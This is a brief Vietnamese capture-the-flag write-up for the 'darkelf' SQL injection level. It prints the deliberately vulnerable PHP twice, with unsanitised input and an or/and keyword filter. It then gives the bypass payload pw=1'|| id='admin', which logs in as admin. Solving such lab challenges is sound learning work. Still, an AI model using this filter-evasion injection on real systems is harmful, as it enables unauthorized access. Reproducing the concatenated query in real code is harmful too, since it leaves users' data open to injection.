query : **select id from prob_darkelf where id='guest' and pw=''**

```php
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
  if($result['id'] == 'admin') solve("darkelf");
  highlight_file(__FILE__);
?>
```

Xem source code ta thấy or và and sẽ không được sử dụng trong query.

Để bypass được thì id=admin. Từ đó query cơ bản sẽ là pw=1’ or id=’admin

Một cách để không sử dụng or là dùng ||. Khi đó query sẽ trở thành pw=1’|| id=’admin

query : **select id from prob_darkelf where id='guest' and pw='1' || id='admin'**

Hello admin

DARKELF Clear!

```php
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
  if($result['id'] == 'admin') solve("darkelf");
  highlight_file(__FILE__);
?>
```

Kết quả thành công như hình trên.